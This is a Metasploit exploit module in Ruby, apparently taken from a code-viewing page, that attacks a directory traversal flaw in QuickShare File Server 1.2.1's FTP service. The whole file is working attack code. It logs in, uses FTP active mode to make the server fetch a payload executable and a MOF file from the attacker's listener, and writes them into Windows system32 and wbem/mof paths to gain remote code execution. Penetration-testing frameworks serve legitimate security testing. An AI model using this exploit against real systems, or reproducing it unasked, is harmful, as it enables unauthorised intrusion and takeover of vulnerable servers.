Path: blob/master/modules/exploits/windows/ftp/quickshare_traversal_write.rb
24946 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Remote::TcpServer10include Msf::Exploit::EXE11include Msf::Exploit::WbemExec1213def initialize(info = {})14super(15update_info(16info,17'Name' => "QuickShare File Server 1.2.1 Directory Traversal Vulnerability",18'Description' => %q{19This module exploits a vulnerability found in QuickShare File Server's FTP20service. By supplying "../" in the file path, it is possible to trigger a21directory traversal flaw, allowing the attacker to read a file outside the22virtual directory. By default, the "Writable" option is enabled during account23creation, therefore this makes it possible to create a file at an arbitrary24location, which leads to remote code execution.25},26'License' => MSF_LICENSE,27'Author' => [28'modpr0be', # Discovery, PoC29'sinn3r' # Metasploit30],31'References' => [32['CVE', '2011-10010'],33['OSVDB', '70776'],34['EDB', '16105'],35['URL', 'http://www.quicksharehq.com/blog/quickshare-file-server-1-2-2-released.html'],36['URL', 'http://www.digital-echidna.org/2011/02/quickshare-file-share-1-2-1-directory-traversal-vulnerability/'],37['ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER],38['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION],39['ATT&CK', Mitre::Attack::Technique::T1105_INGRESS_TOOL_TRANSFER]40],41'Payload' => {42'BadChars' => "\x00"43},44'DefaultOptions' => {45'EXITFUNC' => 'thread'46},47'Platform' => 'win',48'Targets' => [49['QuickShare File Server 1.2.1', {}]50],51'Stance' => Msf::Exploit::Stance::Aggressive,52'Privileged' => false,53'DisclosureDate' => '2011-02-03',54'DefaultTarget' => 0,55'Notes' => {56'Reliability' => UNKNOWN_RELIABILITY,57'Stability' => UNKNOWN_STABILITY,58'SideEffects' => UNKNOWN_SIDE_EFFECTS59}60)61)6263register_options(64[65# Change the default description so this option makes sense66OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])67]68)69end7071def check72connect73disconnect7475if banner =~ /quickshare ftpd/76return Exploit::CheckCode::Detected77else78return Exploit::CheckCode::Safe79end80end8182def on_client_connect(cli)83peer = "#{cli.peerhost}:#{cli.peerport}"8485case @stage86when :exe87print_status("Sending executable (#{@exe.length.to_s} bytes)")88cli.put(@exe)89@stage = :mof9091when :mof92print_status("Sending MOF (#{@mof.length.to_s} bytes)")93cli.put(@mof)94end9596cli.close97end9899def upload(filename)100select(nil, nil, nil, 1)101102peer = "#{rhost}:#{rport}"103print_status("Trying to upload #{::File.basename(filename)}")104105# We can't use connect_login, because it cannot determine a successful login correctly.106# For example: The server actually returns a 503 (Bad Sequence of Commands) when the107# user has already authenticated.108conn = connect(false, datastore['VERBOSE'])109110res = send_user(datastore['FTPUSER'], conn)111112if res !~ /^(331|2)/113fail_with(Failure::BadConfig, "The server rejected our username: #{res.to_s}")114end115116res = send_pass(datastore['FTPPASS'], conn)117if res !~ /^(2|503)/118fail_with(Failure::BadConfig, "The server rejected our password: #{res.to_s}")119end120121# Switch to binary mode122print_status("Set binary mode")123send_cmd(['TYPE', 'I'], true, conn)124125# Prepare active mode: Get attacker's IP and source port126src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']127src_port = datastore['SRVPORT'].to_i128129# Prepare active mode: Convert the IP and port for active mode130src_ip = src_ip.gsub(/\./, ',')131src_port = "#{src_port / 256},#{src_port.remainder(256)}"132133# Set to active mode134print_status("Set active mode \"#{src_ip},#{src_port}\"")135send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)136137# Tell the FTP server to download our file138send_cmd(['STOR', filename], false, conn)139140disconnect(conn)141end142143def exploit144trigger = '../../../../../../../../'145exe_name = "#{trigger}WINDOWS/system32/#{rand_text_alpha(rand(10) + 5)}.exe"146mof_name = "#{trigger}WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10) + 5)}.vbs"147@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))148@exe = generate_payload_exe149@stage = :exe150151begin152t = framework.threads.spawn("reqs", false) {153begin154# Upload our malicious executable155u = upload(exe_name)156157# Upload the mof file158upload(mof_name) if u159rescue ::Exception => e160print_error e.message161cleanup162end163}164super165ensure166t.kill167end168end169end170171172